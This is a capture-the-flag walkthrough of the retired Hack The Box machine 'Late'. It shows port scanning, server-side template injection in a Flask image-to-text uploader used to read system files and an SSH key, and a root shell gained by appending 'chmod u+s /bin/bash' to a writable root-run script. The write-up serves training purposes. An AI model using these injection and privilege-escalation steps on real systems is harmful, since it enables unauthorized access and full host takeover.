Summary
Late is an easy difficulty box with practically two parts. The first was to identify the image upload function on the http site was vulnerable to SSTI and crafting an image to serve as the payload. The second was to find an SSH login alert bash script that was run as root and writable by everyone.
Enumeration
This box I decided to try rustscan
to scan for open ports and services. It’s effectively a wrapper around nmap
which allows for additional functionality and faster scanning, but in my case I use it for the latter of those reasons.
rustscan
rustscan 10.10.11.156 | tee results.scan
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 62 OpenSSH 7.6p1 Ubuntu 4ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 02:5e:29:0e:a3:af:4e:72:9d:a4:fe:0d:cb:5d:83:07 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDSqIcUZeMzG+QAl/4uYzsU98davIPkVzDmzTPOmMONUsYleBjGVwAyLHsZHhgsJqM9lmxXkb8hT4ZTTa1azg4JsLwX1xKa8m+RnXwJ1DibEMNAO0vzaEBMsOOhFRwm5IcoDR0gOONsYYfz18pafMpaocitjw8mURa+YeY21EpF6cKSOCjkVWa6yB+GT8mOcTZOZStRXYosrOqz5w7hG+20RY8OYwBXJ2Ags6HJz3sqsyT80FMoHeGAUmu+LUJnyrW5foozKgxXhyOPszMvqosbrcrsG3ic3yhjSYKWCJO/Oxc76WUdUAlcGxbtD9U5jL+LY2ZCOPva1+/kznK8FhQN
| 256 41:e1:fe:03:a5:c7:97:c4:d5:16:77:f3:41:0c:e9:fb (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBBMen7Mjv8J63UQbISZ3Yju+a8dgXFwVLgKeTxgRc7W+k33OZaOqWBctKs8hIbaOehzMRsU7ugP6zIvYb25Kylw=
| 256 28:39:46:98:17:1e:46:1a:1e:a1:ab:3b:9a:57:70:48 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIGrWbMoMH87K09rDrkUvPUJ/ZpNAwHiUB66a/FKHWrj
80/tcp open http syn-ack ttl 62 nginx 1.14.0 (Ubuntu)
|_http-favicon: Unknown favicon MD5: 1575FDF0E164C3DB0739CF05D9315BDF
| http-methods:
|_ Supported Methods: GET HEAD
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Late - Best online image tools
Port 80 - Nginx
Taking a look around we can quickly find in the FAQ a link to the online photo editor. That specific link directs to images.late.htb
. Now I can add the domain and subdomain to my /etc/hosts
file:
10.10.11.156 late.htb images.late.htb
After adding that subdomain to my hosts file, we are presented with a page to turn an uploaded image into text. There is one major indicator of our next step and it lies within the header at the top: Flask.
Foothold
Before we get ahead of ourselves we could test this pages functionality. I throw a cat picture at the text converter as a sanity check:
That is exactly as expected, now let’s create a simple image with text to determine if this is vulnerable to SSTI and if it properly handles regular text.
Great, my suspicions were confirmed and now we can move onto the next part.
Flask and SSTI
Now in short, Flask is a python based web framework which is notoriously vulnerable to one type of attack: Server Side Template Injection. The framework integrates the use of templates, which allow for importing data from various pages and parts of a site. For example this site itself uses layout pages that contain {{ content }} to import the referencing page’s information. Another functionality of those templates is the ability to run code and commands with the language natively used within the framework.
For the test payload I used {{7*7}} which if the application is SSTI vulnerable will calculate the result, which is the 49 we received in the response.
There is one slight problem however when it comes to SSTI on Flask, and that is navigating python objects and inheritance trees. In order to run commands or code through templates we need to crawl through the Python environment to find classes useful to us. In some cases it can be as simple as throwing a pre-generated cheatsheet payload template at Flask, and in others is can look something like {{‘’.__class__.__mro__[1].__subclasses__()[284:]}} and the only way to find out is by enumerating the classes used in the application.
Get it? Good, because all of that paragraph above is worthless since the cheatsheet templates below I tested against it worked …
When you give the upload an SSTI payload it returns the results of the payload. In the second payload’s case that would be the ssh key for the account running the site. A soft blessing ends up working in my favor, as the test payload to read /etc/passwd
shows me the potential names for accounts to ssh into, the winner of those being svc_acc.
┌─[raccoon@cyberraccoon-virtualbox]─[~/_hacking/HackTheBox/Retired/Late]
└──╼ $ssh svc_acc@10.10.11.156 -i id_rsa
svc_acc@late:~$ id
uid=1000(svc_acc) gid=1000(svc_acc) groups=1000(svc_acc)
Root
Since this is an easy box it’s safe to assume linpeas will likely churn out my next step, and would you look at that a bash script in /usr/local/sbin
#!/bin/bash
RECIPIENT="root@late.htb"
SUBJECT="Email from Server Login: SSH Alert"
BODY="
A SSH login was detected.
User: $PAM_USER
User IP Host: $PAM_RHOST
Service: $PAM_SERVICE
TTY: $PAM_TTY
Date: `date`
Server: `uname -a`
"
if [ ${PAM_TYPE} = "open_session" ]; then
echo "Subject:${SUBJECT} ${BODY}" | /usr/sbin/sendmail ${RECIPIENT}
fi
The script is sending an email to the presumptive root email for every SSH login. Now I have two options, I can scour the machine to determine who is running this script, or I can append whoami
to the script and log back in.
svc_acc@late:~$ echo 'whoami | tee /tmp/user' >> /usr/local/sbin/ssh-alert.sh
svc_acc@late:~$ exit
logout
Connection to 10.10.11.156 closed.
┌─[raccoon@cyberraccoon-virtualbox]─[~/_hacking/HackTheBox/Retired/Late]
└──╼ $ssh svc_acc@10.10.11.156 -i id_rsa
svc_acc@late:~$ cat /tmp/user
root
Well if root is running this script our priv esc is as simple as modifying bin bash to be an SUID, making it run as the owner root.
svc_acc@late:~$ echo 'chmod u+s /bin/bash' >> /usr/local/sbin/ssh-alert.sh
svc_acc@late:~$ exit
logout
Connection to 10.10.11.156 closed.
┌─[raccoon@cyberraccoon-virtualbox]─[~/_hacking/HackTheBox/Retired/Late]
└──╼ $ssh svc_acc@10.10.11.156 -i id_rsa
-bash-4.4$ bash -p
bash-4.4# whoami
root
And with that I can read the root.txt flag in the root directory and pwn the box.